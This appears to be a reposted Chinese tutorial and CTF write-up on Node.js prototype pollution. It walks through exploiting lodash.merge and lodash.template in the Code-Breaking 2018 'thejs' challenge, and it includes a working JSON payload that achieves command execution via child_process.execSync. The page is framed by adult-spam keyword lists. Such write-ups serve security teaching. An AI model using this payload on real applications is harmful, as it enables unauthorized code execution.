欧美一级特黄大片做受成人-亚洲成人一区二区电影-激情熟女一区二区三区-日韩专区欧美专区国产专区

如何解析Node.js原型鏈污染的利用

如何解析Node.js原型鏈污染的利用,相信很多沒有經(jīng)驗(yàn)的人對(duì)此束手無策,為此本文總結(jié)了問題出現(xiàn)的原因和解決方法,通過這篇文章希望你能解決這個(gè)問題。

茄子河網(wǎng)站制作公司哪家好,找創(chuàng)新互聯(lián)公司!從網(wǎng)頁設(shè)計(jì)、網(wǎng)站建設(shè)、微信開發(fā)、APP開發(fā)、成都響應(yīng)式網(wǎng)站建設(shè)公司等網(wǎng)站項(xiàng)目制作,到程序開發(fā),運(yùn)營維護(hù)。創(chuàng)新互聯(lián)公司成立與2013年到現(xiàn)在10年的時(shí)間,我們擁有了豐富的建站經(jīng)驗(yàn)和運(yùn)維經(jīng)驗(yàn),來保證我們的工作的順利進(jìn)行。專注于網(wǎng)站建設(shè)就選創(chuàng)新互聯(lián)公司。

0x00 前言

我將介紹在什么情況下原型鏈會(huì)被污染,以及通過ctf題來展示實(shí)際場景中如何去利用原型鏈污染。

0x01 哪些情況下原型鏈會(huì)被污染

修改一個(gè)對(duì)象的原型中的屬性,影響到新實(shí)例化出來的對(duì)象,使其帶上了我們給對(duì)象原型添加的屬性,這就是原型鏈污染,那么在實(shí)際應(yīng)用中哪些情況會(huì)存在原型鏈被污染的可能呢?

之前說過在JavaScript中對(duì)象就是鍵值對(duì)的集,并且我們?cè)囼?yàn)過這樣一段代碼:

var obj = {
   "name": "ErDogQAQ",
   "team": "ATL"
}

console.log(obj.name);
console.log(obj.team);
console.log(obj);

如何解析Node.js原型鏈污染的利用

發(fā)現(xiàn)了對(duì)象中存在一個(gè)名為__proto__的鍵,而他就指向他構(gòu)造函數(shù)的原型,我們后面也通過A.__proto__.a = 2;這樣修改這個(gè)鍵的值的方式造成了原型鏈污染,呢么我們也就有思路了,只要找到那些我們能夠控制數(shù)組(也就是對(duì)象)的鍵名的操作,我們就可以通過修改鍵名為__proto__并控制它的值的方式來造成原型鏈污染。

在實(shí)際中能夠進(jìn)行這種參數(shù)的函數(shù)一般有:

  • 對(duì)象合并(merge);

  • 對(duì)象克?。╟lone)(本質(zhì)還是將一個(gè)對(duì)象合并到空對(duì)象中)

我們以合并為例,先搞一個(gè)merge函數(shù):

function merge(target, source) {
   for (let key in source) {
       if (key in source && key in target) {
           merge(target[key], source[key])
      } else {
           target[key] = source[key]
      }
  }
}

在合并的過程中存在賦值的操作:target[key] = source[key]那么我們將key改為__proto__是不是就可以原型鏈污染了呢?我們用代碼來實(shí)驗(yàn)一下:

let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b)
console.log(o2)

如何解析Node.js原型鏈污染的利用

可以看到,合并確實(shí)成功了,o1本來是空對(duì)象,現(xiàn)在已經(jīng)有了屬性a和b,但是原型鏈并沒有被污染,新構(gòu)造的對(duì)象o3并沒有帶上我們預(yù)想的屬性b。

我們來分析一下原因,隨后查看對(duì)象o2發(fā)現(xiàn),在我們創(chuàng)建o2的時(shí)候,__proto__已將代表了o2的原型,此時(shí)去遍歷o2的所有鍵名拿到的值是[a,b],而__proto__并沒有作為鍵名被賦值,所以我們并沒有修改Object的原型。

那么我們?nèi)绾尾拍茏?code>__protp__被認(rèn)為是一個(gè)鍵名呢?答案是利用JSON解析。

我們修改一下代碼:

let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b)
console.log(o2)

如何解析Node.js原型鏈污染的利用

可以看到這次新建的o3對(duì)象已經(jīng)帶上了b屬性,說明Object已經(jīng)被污染,同樣我們看o2對(duì)象時(shí)也可以看到,__proto__也被認(rèn)為是一個(gè)鍵名了。

這是因?yàn)?,JSON解析的情況下,__proto__會(huì)被認(rèn)為是一個(gè)真正的“鍵名”,而不代表“原型”,所以在遍歷o2的時(shí)候會(huì)存在這個(gè)鍵。

merge操作是最常見可能控制鍵名的操作,也最能被原型鏈攻擊,很多常見的庫都存在這個(gè)問題。

下面我們就開始結(jié)合ctf中的題目進(jìn)行實(shí)際分析。

0x02 搭建調(diào)試環(huán)境

通常在ctf中原型鏈污染的題目都會(huì)直接給出源碼,并且源碼通常都比較長,直接去看并不能很好的理解代碼,所以需要本地搭建一個(gè)環(huán)境來方便我們本地嘗試以及動(dòng)態(tài)調(diào)試。

這里以Code-Breaking 2018的Thejs這一題為例。

下載node.js:

這個(gè)就不多解釋了直接去官網(wǎng)下載并安裝就可以了。

如何解析Node.js原型鏈污染的利用

安裝完后直接在cmd下輸入node命令就可以像python一樣進(jìn)入命令交互模式了。

下載源碼:

https://github.com/phith0n/code-breaking/tree/master/2018/thejs/web

安裝依賴包:

在cmd中進(jìn)入源碼所在的目錄,然后直接執(zhí)行npm install命令就可以自動(dòng)安裝所需的依賴包了。

如何解析Node.js原型鏈污染的利用

安裝完后可以看到他提示我們發(fā)現(xiàn)了4個(gè)漏洞,可以運(yùn)行npm audit fix進(jìn)行修復(fù),或運(yùn)行npm audit獲取詳細(xì)信息。

這里我們就運(yùn)行npm audit看一下詳細(xì)信息:

如何解析Node.js原型鏈污染的利用

可以看到它告訴我們?cè)?code>lodash這個(gè)包中有4個(gè)原型污染漏洞,這正是我們需要利用的地方所以一會(huì)我們就著重看與lodash相關(guān)的代碼就可以了。(注意這里版本是4.17.4,在新版本中漏洞已經(jīng)被修復(fù))

調(diào)試:

這里我使用VS Code 進(jìn)行調(diào)試,打開VS Code后點(diǎn)擊打開文件夾,打開源碼所在目錄,打開server.js然后點(diǎn)擊左邊的運(yùn)行/調(diào)試按鈕,點(diǎn)擊創(chuàng)建 launch.json 文件,選擇環(huán)境為node.js

如何解析Node.js原型鏈污染的利用

然后就會(huì)自動(dòng)在目錄下生成一個(gè).vscode文件夾里面有一個(gè)launch.json文件,檢查program是否為server.js,沒有問題直接點(diǎn)擊啟動(dòng)程序就能夠正常啟動(dòng)或者斷點(diǎn)調(diào)試了。

如何解析Node.js原型鏈污染的利用

0x03 嘗試解題

我們先看一下題目源碼:

const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')

const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({
    name: 'thejs.session',
    secret: randomize('aA0', 16),
    resave: false,
    saveUninitialized: false
}))
app.engine('ejs', function (filePath, options, callback) { // define the template engine
    fs.readFile(filePath, (err, content) => {
        if (err) return callback(new Error(err))
        let compiled = lodash.template(content)
        let rendered = compiled({...options})

        return callback(null, rendered)
    })
})
app.set('views', './views')
app.set('view engine', 'ejs')

app.all('/', (req, res) => {
    let data = req.session.data || {language: [], category: []}
    if (req.method == 'POST') {
        data = lodash.merge(data, req.body)
        req.session.data = data
    }
    
    res.render('index', {
        language: data.language, 
        category: data.category
    })
})

app.listen(3000, () => console.log(`Example app listening on port 3000!`))

剛才已經(jīng)知道了lodash包中有反序列化漏洞,所以我們著重看與lodash相關(guān)的代碼和我們上傳數(shù)據(jù)的地方就可以了。

......
const lodash = require('lodash')
......
app.engine('ejs', function (filePath, options, callback) { // define the template engine
    fs.readFile(filePath, (err, content) => {
        if (err) return callback(new Error(err))
        let compiled = lodash.template(content)
        let rendered = compiled({...options})

        return callback(null, rendered)
    })
})
......
app.all('/', (req, res) => {
    let data = req.session.data || {language: [], category: []}
    if (req.method == 'POST') {
        data = lodash.merge(data, req.body)		
        req.session.data = data
    }

    res.render('index', {
        language: data.language, 
        category: data.category
    })
})

我們可以看到與lodash相關(guān)的代碼有兩句:

let compiled = lodash.template(content)
data = lodash.merge(data, req.body)

查詢官方文檔后知道

lodash.template的作用:

如何解析Node.js原型鏈污染的利用

簡單理解就是一個(gè)簡單的模板引擎,會(huì)將content內(nèi)容放進(jìn)模板渲染。

lodash.merge的作用:

如何解析Node.js原型鏈污染的利用

這個(gè)不用多解釋,就是我們?nèi)账家瓜氲膶?duì)象合并函數(shù)了,能夠污染原型鏈的十有八九就是這里了。

那么我們就來試試是否真的能夠污染原型鏈:

我們?cè)诖a中下好斷點(diǎn),然后提交參數(shù)。

●  if (req.method == 'POST') {           //在這里下斷點(diǎn)
       data = lodash.merge(data, req.body)
       req.session.data = data
  }

這里還需要注意,直接提交是不能造成原型鏈污染的,因?yàn)槲覀冎耙苍囘^了,只有在JSON解析的情況下__proto__才會(huì)被認(rèn)為是一個(gè)鍵名,才能夠造成原型鏈污染。那么我們?nèi)绾尾拍茏屛覀儌魅氲膮?shù)按照J(rèn)SON解析呢?

這里我們?cè)诖a中看到const app = express()題目使用的是express框架,而express框架支持根據(jù)Content-Type來解析請(qǐng)求Body,所以我們只需要將Content-Type改為application/json即可。

我們提交一個(gè)參數(shù):{"__proto__":{"A":"ATL"}}看看到底會(huì)不會(huì)造成原型鏈污染:

如何解析Node.js原型鏈污染的利用

提交后我們將代碼步過到merge函數(shù)處理之后:

如何解析Node.js原型鏈污染的利用

可以看到經(jīng)過merge函數(shù)處理data的原型也就是Object中果然帶上了A屬性,證明了此處存在原型鏈污染漏洞。

那么我們現(xiàn)在找到了能夠污染原型鏈的地方,接下來就要想想如何利用了,我們又想起了template函數(shù)的官方文檔中寫了可以使用sourceURLs進(jìn)行調(diào)試,那我們就跟進(jìn)template函數(shù)看看:

// Use a sourceURL for easier debugging.
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
......
var result = attempt(function() {
  return Function(importsKeys, sourceURL + 'return ' + source)
  .apply(undefined, importsValues);
});

可以看到先是判斷options中是否有屬性sourceURL,如果有就進(jìn)行拼接,沒有則為空,然后將這個(gè)值拼接進(jìn)new Function的第二個(gè)參數(shù)。

那么我們現(xiàn)在就有思路了,我們可以利用原型鏈污染,給Object中插入一個(gè)sourceURL屬性,當(dāng)執(zhí)行到template中時(shí),判斷options中原本是沒有sourceURL的,但是因?yàn)镴avaScript的查找機(jī)制會(huì)一直向上查找,查到Object中時(shí)找到了sourceURL,然后就會(huì)拼接進(jìn)new Function造成任意代碼執(zhí)行。

有了攻擊思路,那么我們就來構(gòu)造payload測試:

{"__proto__":{"sourceURL": "\u000areturn e => { for (var a in {}) {delete Object.prototype[a]; } return global.process.mainModule.constructor._load('child_process').execSync('whoami')}\u000a// "}}

如何解析Node.js原型鏈污染的利用

提交后我們還是回來看調(diào)試信息:

如何解析Node.js原型鏈污染的利用

可以看到經(jīng)過merge函數(shù)處理,Object中已經(jīng)帶上了sourceURL屬性,我們到template函數(shù)時(shí)步入在看看能否獲取到sourceURL屬性:

如何解析Node.js原型鏈污染的利用

在這里步入:

如何解析Node.js原型鏈污染的利用

可以看到這里sourceURL有值說明這里成功獲取到了sourceURL屬性,那么我們最后看一下執(zhí)行結(jié)果:

如何解析Node.js原型鏈污染的利用

可以看到,成功執(zhí)行了命令。到此我們就進(jìn)行了一次完整的原型鏈污染利用。

看完上述內(nèi)容,你們掌握如何解析Node.js原型鏈污染的利用的方法了嗎?如果還想學(xué)到更多技能或想了解更多相關(guān)內(nèi)容,歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道,感謝各位的閱讀!

本文名稱:如何解析Node.js原型鏈污染的利用
文章出自:http://aaarwkj.com/article38/igoopp.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供微信公眾號(hào)做網(wǎng)站、網(wǎng)站收錄企業(yè)建站、搜索引擎優(yōu)化自適應(yīng)網(wǎng)站

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場,如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來源: 創(chuàng)新互聯(lián)

網(wǎng)站建設(shè)網(wǎng)站維護(hù)公司
亚洲一区二区三区精品福利| 日本精品免费专区在线观看| 久久成人a毛片免费观看网站| 日本欧美中文字幕一区| 国产三级三级三级精品8ⅰ区| 抱着操才爽的免费视频观看| 色哟哟国产精品一区自拍| 亚洲黄色暴力一区视频| 福利一区二区在线视频| 黄色资源网日韩三级一区二区| 蜜臀av网站在线播放| 国产性做爰片免费视频| 国产熟女碰碰人人a久久| 禁止18黄色免费网站| 日本国产美女精品一区二区| 亚洲一级特黄大片在线观看| 亚洲乱码中文字幕在线观看| 亚洲午夜激情视频在线| 国产极品av一区二区三区| 国产91高清免费视频| 在线播放国产91精品| 中文字幕乱码一区二区欧美| 国产在线观看一区二区三区精品| 欧美日韩国产激情在线观看| 亚洲精品国产精品乱码| 精品国产综合一区二区三区| 日本师生三片在线观看| 国产视频一区二区三区网| 91麻豆精品在线观看| 久久香蕉国产线看观看av| 国产白丝精品爽爽久久| 另类激情综合在线观看| 91日韩人妻一区二区三区| 森泽佳奈在线视频观看| 欧美精品日韩中文字幕在| 亚洲 综合 久久久| 2020年最新国产三级网站| 中文欧美一区二区精品| 亚洲av成人在线播放| 亚洲精品成人一区不卡| 国产精品自拍激情在线观看|